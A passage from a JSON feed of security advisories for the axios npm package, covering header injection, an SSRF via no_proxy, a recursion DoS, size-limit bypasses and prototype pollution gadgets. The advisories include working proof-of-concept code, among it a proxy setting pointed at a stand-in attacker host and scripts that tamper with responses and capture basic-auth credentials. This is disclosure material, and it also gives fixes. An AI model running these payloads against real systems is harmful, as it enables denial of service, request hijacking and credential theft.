Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API gateways.\nConsequences include: bypassing server-side Content-Type-based upload filters, confusing multipart parsers into misrouting data, injecting phantom form fields if the boundary is known, and exploiting downstream server vulnerabilities that trust per-part headers.\naxios is one of the most downloaded npm packages, significantly increasing the blast radius of this issue.\n\n### Suggested fix\nIn formDataToStream.js, sanitize value.type before interpolating it into the per-part Content-Type header. Apply the same strategy used for string values (strip/replace \\r\\n) or use the same escapeName logic.\n```\nconst safeType = (value.type || 'application/octet-stream')\n  .replace(/[\\r\\n]/g, '');\nheaders += `Content-Type: ${safeType}${CRLF}`;\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-05T00:40:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-445q-vr5w-6q77","https://nvd.nist.gov/vuln/detail/CVE-2026-42037","https://github.com/advisories/GHSA-445q-vr5w-6q77"],"source_kind":"github","identifiers":["GHSA-445q-vr5w-6q77","CVE-2026-42037"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T01:00:11.649Z","updated_at":"2026-10-02T08:03:13.782Z","epss_percentage":0.00336,"epss_percentile":0.24539,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NDVxLXZyNXctNnE3N84ABWJ9","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00NDVxLXZyNXctNnE3N84ABWJ9","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.15.1","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.1"}],"purl":"pkg:npm/axios","statistics":{"dependent_packages_count":97210,"dependent_repos_count":453457,"downloads":466020909,"downloads_period":"last-month"},"affected_versions":["1.0.0","1.1.0","1.1.1","1.1.2","1.1.3","1.2.0","1.2.0-alpha.1","1.2.1","1.2.2","1.2.3","1.2.4","1.2.5","1.2.6","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.4.0","1.5.0","1.5.1","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.7.0","1.7.0-beta.0","1.7.0-beta.1","1.7.0-beta.2","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0","1.8.1","1.8.2","1.8.3","1.8.4","1.9.0","1.10.0","1.11.0","1.12.0","1.12.1","1.12.2","1.13.0","1.13.1","1.13.2","1.13.3","1.13.4","1.13.5","1.13.6","1.14.0","1.14.1","1.15.0"],"unaffected_versions":["0.1.0","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.4.0","0.4.1","0.4.2","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.6.0","0.7.0","0.8.0","0.8.1","0.9.0","0.9.1","0.10.0","0.11.0","0.11.1","0.12.0","0.13.0","0.13.1","0.14.0","0.15.0","0.15.1","0.15.2","0.15.3","0.16.0","0.16.1","0.16.2","0.17.0","0.17.1","0.18.0","0.18.1","0.19.0","0.19.1","0.19.2","0.20.0","0.21.0","0.21.1","0.21.2","0.21.3","0.21.4","0.22.0","0.23.0","0.24.0","0.25.0","0.26.0","0.26.1","0.27.0","0.27.1","0.27.2","0.28.0","0.28.1","0.29.0","0.30.0","0.30.1","0.30.2","0.30.3","0.30.4","0.31.0","0.31.1","0.32.0","0.33.0","0.34.0","1.15.1","1.15.2","1.16.0","1.16.1","1.17.0","1.18.0","1.18.1","1.19.0","1.20.0"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NDVxLXZyNXctNnE3N84ABWJ9/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tN3ByLWhqcWgtOTJjbc4ABWJ8","url":"https://github.com/advisories/GHSA-m7pr-hjqh-92cm","title":"Axios: no_proxy bypass via IP alias allows SSRF","description":"The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.\n\nThe shouldBypassProxy() function does pure string matching — it does not \nresolve IP aliases or loopback equivalents. As a result:\n- no_proxy=localhost does NOT block 127.0.0.1 or [::1]\n- no_proxy=127.0.0.1 does NOT block localhost or [::1]\n\n\nPOC :\nprocess.env.no_proxy = 'localhost';\nprocess.env.http_proxy = 'http://attacker-proxy:8888';\n\n```(base) srisowmyanemani@Srisowmyas-MacBook-Pro axios % \u003e....                     \n    process.env.http_proxy = 'http://127.0.0.1:8888';\n\n    console.log('=== Test 1: localhost (should bypass proxy) ===');\n    try {\n      await axios.get('http://localhost:7777/');\n    } catch(e) {\n      console.log('Error:', e.message);\n    }\n\n    console.log('');\n    console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===');\n    try {\n      await axios.get('http://127.0.0.1:7777/');\n    } catch(e) {\n      console.log('Error:', e.message);\n    }\n\n    fakeProxy.close();\n    internalServer.close();\n  });\n});\nEOF\n=== Test 1: localhost (should bypass proxy) ===\n✅ Internal server hit directly (correct)\n\n=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===\n🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/\n🚨 Host header: 127.0.0.1:7777. ```\n \n\n\n\n\n\n\u003cimg width=\"1212\" height=\"247\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7\" /\u003e\n\n\n\n\nImpact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data.\n\nFix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-05T00:40:17.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-m7pr-hjqh-92cm","https://nvd.nist.gov/vuln/detail/CVE-2026-42038","https://github.com/advisories/GHSA-m7pr-hjqh-92cm"],"source_kind":"github","identifiers":["GHSA-m7pr-hjqh-92cm","CVE-2026-42038"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T01:00:11.649Z","updated_at":"2026-10-02T08:03:13.782Z","epss_percentage":0.00381,"epss_percentile":0.29608,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tN3ByLWhqcWgtOTJjbc4ABWJ8","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tN3ByLWhqcWgtOTJjbc4ABWJ8","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.31.1","vulnerable_version_range":"\u003c= 0.31.0"},{"first_patched_version":"1.15.1","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.1"}],"purl":"pkg:npm/axios","statistics":{"dependent_packages_count":97210,"dependent_repos_count":453457,"downloads":466020909,"downloads_period":"last-month"},"affected_versions":["0.1.0","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.4.0","0.4.1","0.4.2","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.6.0","0.7.0","0.8.0","0.8.1","0.9.0","0.9.1","0.10.0","0.11.0","0.11.1","0.12.0","0.13.0","0.13.1","0.14.0","0.15.0","0.15.1","0.15.2","0.15.3","0.16.0","0.16.1","0.16.2","0.17.0","0.17.1","0.18.0","0.18.1","0.19.0","0.19.0-beta.1","0.19.1","0.19.2","0.20.0","0.20.0-0","0.21.0","0.21.1","0.21.2","0.21.3","0.21.4","0.22.0","0.23.0","0.24.0","0.25.0","0.26.0","0.26.1","0.27.0","0.27.1","0.27.2","0.28.0","0.28.1","0.29.0","0.30.0","0.30.1","0.30.2","0.30.3","0.30.4","0.31.0","1.0.0","1.1.0","1.1.1","1.1.2","1.1.3","1.2.0","1.2.0-alpha.1","1.2.1","1.2.2","1.2.3","1.2.4","1.2.5","1.2.6","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.4.0","1.5.0","1.5.1","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.7.0","1.7.0-beta.0","1.7.0-beta.1","1.7.0-beta.2","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0","1.8.1","1.8.2","1.8.3","1.8.4","1.9.0","1.10.0","1.11.0","1.12.0","1.12.1","1.12.2","1.13.0","1.13.1","1.13.2","1.13.3","1.13.4","1.13.5","1.13.6","1.14.0","1.14.1","1.15.0"],"unaffected_versions":["0.31.1","0.32.0","0.33.0","0.34.0","1.15.1","1.15.2","1.16.0","1.16.1","1.17.0","1.18.0","1.18.1","1.19.0","1.20.0"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tN3ByLWhqcWgtOTJjbc4ABWJ8/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02MmhmLTU3eHctMjhqOc4ABWJ7","url":"https://github.com/advisories/GHSA-62hf-57xw-28j9","title":"Axios: unbounded recursion in toFormData causes DoS via deeply nested request data","description":"### Summary\ntoFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError.\n\n### Details\nlib/helpers/toFormData.js:210 defines an inner `build(value, path)` that recurses into every object/array child (line 225: `build(el, path ? path.concat(key) : [key])`). The only safeguard is a `stack` array used to detect circular references; there is no maximum depth and no try/catch around the recursion. Because `build` calls itself once per nesting level, a payload nested roughly 2000+ levels deep exhausts V8's call stack.\n\n`toFormData` is the serializer behind `FormData` request bodies and `AxiosURLSearchParams` (used by `buildURL` when `params` is an object with `URLSearchParams` unavailable, see `lib/helpers/buildURL.js:53` and `lib/helpers/AxiosURLSearchParams.js:36`). Any server-side code that forwards a client-supplied object into `axios({ data, params })` therefore reaches the recursive walker with attacker-controlled depth.\n\nThe RangeError is thrown synchronously from inside `forEach`, escapes `toFormData`, and propagates out of the axios request call. In typical Express/Fastify request handlers this terminates the running request; in synchronous startup paths or worker threads it can crash the whole process.\n\n### PoC\n```js\nimport toFormData from 'axios/lib/helpers/toFormData.js';\nimport FormData from 'form-data';\n\nfunction nest(depth) {\n  let o = { leaf: 1 };\n  for (let i = 0; i \u003c depth; i++) o = { a: o };\n  return o;\n}\n\ntry {\n  toFormData(nest(2500), new FormData());\n} catch (e) {\n  console.log(e.name + ': ' + e.message);\n}\n// RangeError: Maximum call stack size exceeded\n```\n\nServer-side reachability example:\n```js\n// vulnerable proxy pattern\napp.post('/forward', async (req, res) =\u003e {\n  await axios.post('https://upstream/api', req.body); // req.body user-controlled\n  res.send('ok');\n});\n// attacker POST /forward with {\"a\":{\"a\":{\"a\":... 2500 deep ...}}}\n// -\u003e toFormData build() overflows -\u003e request handler crashes\n```\n\nVerified on axios 1.15.0 (latest, 2026-04-10), Node.js 20, 3/3 PoC runs reproduce the RangeError at depth 2500.\n\n### Impact\nA remote, unauthenticated attacker who can influence an object passed to axios as request `data` or `params` triggers an uncaught RangeError inside the synchronous recursive walker. In server-side applications that proxy or re-send client JSON through axios this crashes the request handler and, in worker/cluster setups, the process. Fix by bounding recursion depth in `toFormData`'s `build` function (reject or throw on depths beyond a configurable limit, e.g. 100) or rewriting the walker iteratively.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-05T00:34:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-62hf-57xw-28j9","https://nvd.nist.gov/vuln/detail/CVE-2026-42039","https://github.com/axios/axios/commit/85132ffba1a77609ea5d101c8a413dea7174932f","https://github.com/axios/axios/releases/tag/v1.15.1","https://github.com/advisories/GHSA-62hf-57xw-28j9"],"source_kind":"github","identifiers":["GHSA-62hf-57xw-28j9","CVE-2026-42039"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T01:00:11.649Z","updated_at":"2026-09-25T12:04:05.138Z","epss_percentage":0.00966,"epss_percentile":0.60058,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02MmhmLTU3eHctMjhqOc4ABWJ7","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02MmhmLTU3eHctMjhqOc4ABWJ7","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.31.1","vulnerable_version_range":"\u003c= 0.31.0"},{"first_patched_version":"1.15.1","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.1"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02MmhmLTU3eHctMjhqOc4ABWJ7/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01Yzl4LThnY20tbXBneM4ABWJ6","url":"https://github.com/advisories/GHSA-5c9x-8gcm-mpgx","title":"Axios' HTTP adapter-streamed uploads bypass maxBodyLength when maxRedirects: 0","description":"### Summary\n\nFor stream request bodies, maxBodyLength is bypassed when maxRedirects is set to 0 (native http/https transport path). Oversized streamed uploads are sent fully even when the caller sets strict body limits.\n\n### Details\n\nRelevant flow in lib/adapters/http.js:\n  - 556-564: maxBodyLength check applies only to buffered/non-stream data.\n  - 681-682: maxRedirects === 0 selects native http/https transport.\n  - 694-699: options.maxBodyLength is set, but native transport does not enforce it.\n  - 925-945: stream is piped directly to socket (data.pipe(req)) with no Axios byte counting.\n\nThis creates a path-specific bypass for streamed uploads.\n\n  ### PoC\n\nEnvironment:\n\n  - Axios main at commit f7a4ee2\n  - Node v24.2.0\n\n  Steps:\n  1. Start an HTTP server that counts uploaded bytes and returns {received}.\n  2. Send a 2 MiB Readable stream with:\n      - adapter: 'http'\n      - maxBodyLength: 1024\n      - maxRedirects: 0\n\n  Observed:\n  - Request succeeds; server reports received: 2097152.\n\n  Control checks:\n  - Same stream with default/nonzero redirects: rejected with ERR_FR_MAX_BODY_LENGTH_EXCEEDED.\n  - Buffered body with maxRedirects: 0: rejected with ERR_BAD_REQUEST.\n\n  ### Impact\nType: DoS / uncontrolled upstream upload / resource exhaustion.\nImpacted: Node.js services using streamed request bodies with maxBodyLength expecting hard enforcement, especially when following Axios guidance to use maxRedirects: 0 for streams.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-05T00:33:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/axios/axios/security/advisories/GHSA-5c9x-8gcm-mpgx","https://nvd.nist.gov/vuln/detail/CVE-2026-42034","https://github.com/advisories/GHSA-5c9x-8gcm-mpgx"],"source_kind":"github","identifiers":["GHSA-5c9x-8gcm-mpgx","CVE-2026-42034"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T01:00:11.649Z","updated_at":"2026-09-25T12:04:05.138Z","epss_percentage":0.0048,"epss_percentile":0.3871,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01Yzl4LThnY20tbXBneM4ABWJ6","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01Yzl4LThnY20tbXBneM4ABWJ6","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.31.1","vulnerable_version_range":"\u003c= 0.31.0"},{"first_patched_version":"1.15.1","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.1"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01Yzl4LThnY20tbXBneM4ABWJ6/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12ZjJtLTQ2OHAtOHY5Oc4ABWJw","url":"https://github.com/advisories/GHSA-vf2m-468p-8v99","title":"Axios: HTTP adapter streamed responses bypass maxContentLength","description":"### Summary\n\nWhen responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption.\n\n### Details\nIn lib/adapters/http.js:\n  - 786-789: for responseType === 'stream', Axios immediately settles with the stream.\n  - 797-810: maxContentLength enforcement exists only in the non-stream buffering branch.\n\nSo callers may set maxContentLength and still receive/read arbitrarily large streamed responses.\n\n### PoC\n\nEnvironment:\n- Axios main at commit f7a4ee2\n- Node v24.2.0\n\n Steps:\n\n1. Start an HTTP server that returns a 2 MiB response body.\n2. Call Axios with:\n   - adapter: 'http'\n   - responseType: 'stream'\n   - maxContentLength: 1024\n3. Read the returned stream fully.\n\nObserved:\n- Success; full 2097152 bytes readable.\n\nControl check:\n- Same endpoint with responseType: 'text' and same maxContentLength: rejected with maxContentLength size of 1024 exceeded.\n\n### Impact\nType: DoS / unbounded response processing.\nImpacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-05T00:26:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/axios/axios/security/advisories/GHSA-vf2m-468p-8v99","https://nvd.nist.gov/vuln/detail/CVE-2026-42036","https://github.com/advisories/GHSA-vf2m-468p-8v99"],"source_kind":"github","identifiers":["GHSA-vf2m-468p-8v99","CVE-2026-42036"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T01:00:11.649Z","updated_at":"2026-09-25T12:04:05.139Z","epss_percentage":0.0048,"epss_percentile":0.38709,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12ZjJtLTQ2OHAtOHY5Oc4ABWJw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12ZjJtLTQ2OHAtOHY5Oc4ABWJw","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.31.1","vulnerable_version_range":"\u003c= 0.31.0"},{"first_patched_version":"1.15.1","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.1"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12ZjJtLTQ2OHAtOHY5Oc4ABWJw/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wZjg2LTV4NjItanJ3Zs4ABWJv","url":"https://github.com/advisories/GHSA-pf86-5x62-jrwf","title":"Axios: Prototype Pollution Gadgets - Response Tampering, Data Exfiltration, and Request Hijacking","description":"## Summary\n\nWhen `Object.prototype` has been polluted by any co-dependency with keys that axios reads without a `hasOwnProperty` guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process -- lodash \u003c 4.17.21, or any of several other common npm packages with known PP vectors. The two gadgets confirmed here work independently.\n\n---\n\n## Background: how mergeConfig builds the config object\n\nEvery axios request goes through `Axios._request` in [`lib/core/Axios.js#L76`](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L76):\n\n```js\nconfig = mergeConfig(this.defaults, config);\n```\n\nInside `mergeConfig`, the merged config is built as a plain `{}` object ([`lib/core/mergeConfig.js#L20`](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L20)):\n\n```js\nconst config = {};\n```\n\nA plain `{}` inherits from `Object.prototype`. `mergeConfig` only iterates `Object.keys({ ...config1, ...config2 })` ([line 99](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L99)), which is a spread of own properties. Any key that is absent from both `this.defaults` and the per-request config will never be set as an own property on the merged config. Reading that key later on the merged config falls through to `Object.prototype`. That is the root mechanism behind all gadgets below.\n\n---\n\n## Gadget 1: parseReviver -- response tampering and exfiltration\n\n**Introduced in:** v1.12.0 (commit 2a97634, PR #5926)\n**Affected range:** \u003e= 1.12.0, \u003c= 1.13.6\n\n### Root cause\n\nThe default `transformResponse` function calls [`JSON.parse(data, this.parseReviver)`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js#L124):\n\n```js\nreturn JSON.parse(data, this.parseReviver);\n```\n\n`this` is the merged config. `parseReviver` is not present in `defaults` and is not in the `mergeMap` inside `mergeConfig`. It is never set as an own property on the merged config. Accessing `this.parseReviver` therefore walks the prototype chain.\n\nThe call fires by default on every string response body because [`lib/defaults/transitional.js#L5`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/transitional.js#L5) sets:\n\n```js\nforcedJSONParsing: true,\n```\n\nwhich activates the JSON parse path unconditionally when `responseType` is unset.\n\n`JSON.parse(text, reviver)` calls the reviver for every key-value pair in the parsed result, bottom-up. The reviver's return value is what the caller receives. An attacker-controlled reviver can both observe every key-value pair and silently replace values.\n\nThere is no interaction with `assertOptions` here. The `assertOptions` call in `Axios._request` ([line 119](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L119)) iterates `Object.keys(config)`, and since `parseReviver` was never set as an own property, it is not in that list. Nothing validates or invokes the polluted function before `transformResponse` does.\n\n### Verification: own-property check\n\n```js\nimport { createRequire } from 'module';\nconst require = createRequire(import.meta.url);\nconst mergeConfig = require('./lib/core/mergeConfig.js').default;\nconst defaults = require('./lib/defaults/index.js').default;\n\nconst merged = mergeConfig(defaults, { url: '/test', method: 'get' });\nconsole.log(Object.prototype.hasOwnProperty.call(merged, 'parseReviver')); // false\nconsole.log(merged.parseReviver); // undefined (no pollution)\n\nObject.prototype.parseReviver = function(k, v) { return v; };\nconsole.log(merged.parseReviver); // [Function (anonymous)] -- inherited\ndelete Object.prototype.parseReviver;\n```\n\n### Proof of concept\n\nTwo terminals. The server simulates a legitimate API endpoint. The client simulates a Node.js application whose process has been affected by prototype pollution from a co-dependency.\n\n**Terminal 1 -- server (`server_gadget1.mjs`):**\n\n```js\nimport http from 'http';\n\nconst server = http.createServer((req, res) =\u003e {\n  console.log('[server] request:', req.method, req.url);\n  res.writeHead(200, { 'Content-Type': 'application/json' });\n  res.end(JSON.stringify({ role: 'user', balance: 100, token: 'tok_real_abc' }));\n});\n\nserver.listen(19003, '127.0.0.1', () =\u003e {\n  console.log('[server] listening on 127.0.0.1:19003');\n});\n```\n\n```\n$ node server_gadget1.mjs\n[server] listening on 127.0.0.1:19003\n[server] request: GET /\n```\n\n**Terminal 2 -- client (`poc_parsereviver.mjs`):**\n\n```js\nimport axios from 'axios';\n\n// Simulate pollution arriving from a co-dependency (e.g. lodash \u003c 4.17.21 via _.merge).\n// In a real application this would be set before any axios request runs.\nObject.prototype.parseReviver = function (key, value) {\n  // Called for every key-value pair in every JSON response parsed by axios in this process.\n  if (key !== '') {\n    // Exfiltrate: in a real attack this would POST to an attacker-controlled endpoint.\n    console.log('[exfil]', key, '=', JSON.stringify(value));\n  }\n  // Tamper: escalate role, inflate balance.\n  if (key === 'role') return 'admin';\n  if (key === 'balance') return 999999;\n  return value;\n};\n\nconst res = await axios.get('http://127.0.0.1:19003/');\nconsole.log('[app] received:', JSON.stringify(res.data));\n\ndelete Object.prototype.parseReviver;\n```\n\n```\n$ node poc_parsereviver.mjs\n[exfil] role = \"user\"\n[exfil] balance = 100\n[exfil] token = \"tok_real_abc\"\n[app] received: {\"role\":\"admin\",\"balance\":999999,\"token\":\"tok_real_abc\"}\n```\n\nThe server sent `role: user`. The application received `role: admin`. The response is silently modified in place; no error is thrown, no log entry is produced.\n\n---\n\n## Gadget 2: transport -- full HTTP request hijacking with credentials\n\n**Introduced in:** early adapter refactor, present across 0.x and 1.x\n**Affected range:** \u003e= 0.19.0, \u003c= 1.13.6 (Node.js http adapter only)\n\n### Root cause\n\nInside the Node.js http adapter at [`lib/adapters/http.js#L676`](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L676):\n\n```js\nif (config.transport) {\n  transport = config.transport;\n}\n```\n\n`transport` is listed in `mergeMap` inside `mergeConfig` ([line 88](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L88)):\n\n```js\ntransport: defaultToConfig2,\n```\n\nbut it is not present in [`lib/defaults/index.js`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js) at all. `mergeConfig` iterates `Object.keys({ ...config1, ...config2 })` ([line 99](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L99)). Since `config1` (the defaults) has no `transport` key and a typical per-request config has none either, the key never enters the loop. It is never set as an own property on the merged config. The read at line 676 falls through to `Object.prototype`.\n\nThe fix in v1.13.5 (PR #7369) added a `hasOwnProp` check for `mergeMap` access, but the iteration set itself is the issue -- `transport` simply never enters it. The fix does not address this.\n\nThe transport interface is `{ request(options, handleResponseCallback) }`. The options object passed to `transport.request` at adapter runtime contains:\n\n- `options.hostname`, `options.port`, `options.path` -- full target URL\n- `options.auth` -- basic auth credentials in `\"username:password\"` form (set at [line 606](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L606))\n- `options.headers` -- all request headers as a plain object\n\n### Proof of concept\n\nTwo terminals. The server is a legitimate API endpoint that processes the request normally. The client's process has been affected by prototype pollution.\n\n**Terminal 1 -- server (`server_gadget2.mjs`):**\n\n```js\nimport http from 'http';\n\nconst server = http.createServer((req, res) =\u003e {\n  console.log('[server] request:', req.method, req.url, 'auth:', req.headers.authorization || '(none)');\n  res.writeHead(200, { 'Content-Type': 'application/json' });\n  res.end('{\"ok\":true}');\n});\n\nserver.listen(19002, '127.0.0.1', () =\u003e {\n  console.log('[server] listening on 127.0.0.1:19002');\n});\n```\n\n```\n$ node server_gadget2.mjs\n[server] listening on 127.0.0.1:19002\n[server] request: GET /api/users auth: Basic c3ZjX2FjY291bnQ6aHVudGVyMg==\n```\n\n**Terminal 2 -- client (`poc_transport.mjs`):**\n\n```js\nimport axios from 'axios';\nimport http from 'http';\n\nObject.prototype.transport = {\n  request(options, handleResponse) {\n    // Intercept: called for every outbound request in this process.\n    console.log('[hijack] target:', options.hostname + ':' + options.port + options.path);\n    console.log('[hijack] auth:', options.auth);\n    console.log('[hijack] headers:', JSON.stringify(options.headers));\n    // Forward to the real transport so the caller sees a normal 200.\n    return http.request(options, handleResponse);\n  },\n};\n\nconst res = await axios.get('http://127.0.0.1:19002/api/users', {\n  auth: { username: 'svc_account', password: 'hunter2' },\n});\nconsole.log('[app] response status:', res.status);\n\ndelete Object.prototype.transport;\n```\n\n```\n$ node poc_transport.mjs\n[hijack] target: 127.0.0.1:19002/api/users\n[hijack] auth: svc_account:hunter2\n[hijack] headers: {\"Accept\":\"application/json, text/plain, */*\",\"User-Agent\":\"axios/1.13.6\",\"Accept-Encoding\":\"gzip, compress, deflate, br\"}\n[app] response status: 200\n```\n\nThe basic auth credentials are fully visible to the attacker's transport function. The request completes normally from the caller's perspective.\n\n---\n\n## Additional gadget: transformRequest / transformResponse\n\nSeparately, `mergeConfig` reads `config2[prop]` at [line 102](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102) without a `hasOwnProperty` guard. For keys like `transformRequest` and `transformResponse` that are present in `defaults` (and therefore processed by the mergeMap loop), if `Object.prototype.transformRequest` is polluted before the request, `config2[\"transformRequest\"]` inherits the polluted value and `defaultToConfig2` replaces the safe default transforms with the attacker's function.\n\nThis one requires a discriminator because `assertOptions` in `Axios._request` ([line 119](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L119)) reads `schema[opt]` for every key in the merged config's own keys, and `schema[\"transformRequest\"]` also inherits from `Object.prototype`, causing it to call the polluted value as a validator. The gadget function needs to return `true` when its first argument is a function (the assertOptions call) and perform the attack when its first argument is data (the [`transformData`](https://github.com/axios/axios/blob/v1.13.6/lib/core/transformData.js#L22) call).\n\nBoth `transformRequest` (fires with request body) and `transformResponse` (fires with response body) are confirmed affected. Range: \u003e= 0.19.0, \u003c= 1.13.6.\n\n---\n\n## Why the existing fix does not cover these\n\nPR #7369 / CVE-2026-25639 (fixed in v1.13.5) addressed a separate class: passing `{\"__proto__\": {\"x\": 1}}` as the config object, which caused `mergeMap['__proto__']` to resolve to `Object.prototype` (a non-function), crashing axios. The fix added an explicit block on `__proto__`, `constructor`, and `prototype` as config keys, and changed `mergeMap[prop]` to `utils.hasOwnProp(mergeMap, prop) ? mergeMap[prop] : ...`.\n\nThat fix only addresses config keys that are explicitly set to `__proto__` (or similar) by the caller. It does not add `hasOwnProperty` guards on the value reads (`config2[prop]` at [line 102](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102), `this.parseReviver`, `config.transport`). An application using a PP-vulnerable co-dependency and making axios requests is still fully exposed after upgrading to 1.13.5 or 1.13.6.\n\n---\n\n## Suggested fixes\n\nFor `parseReviver` ([`lib/defaults/index.js#L124`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js#L124)):\n```js\nconst reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined;\nreturn JSON.parse(data, reviver);\n```\n\nFor `mergeConfig` value reads 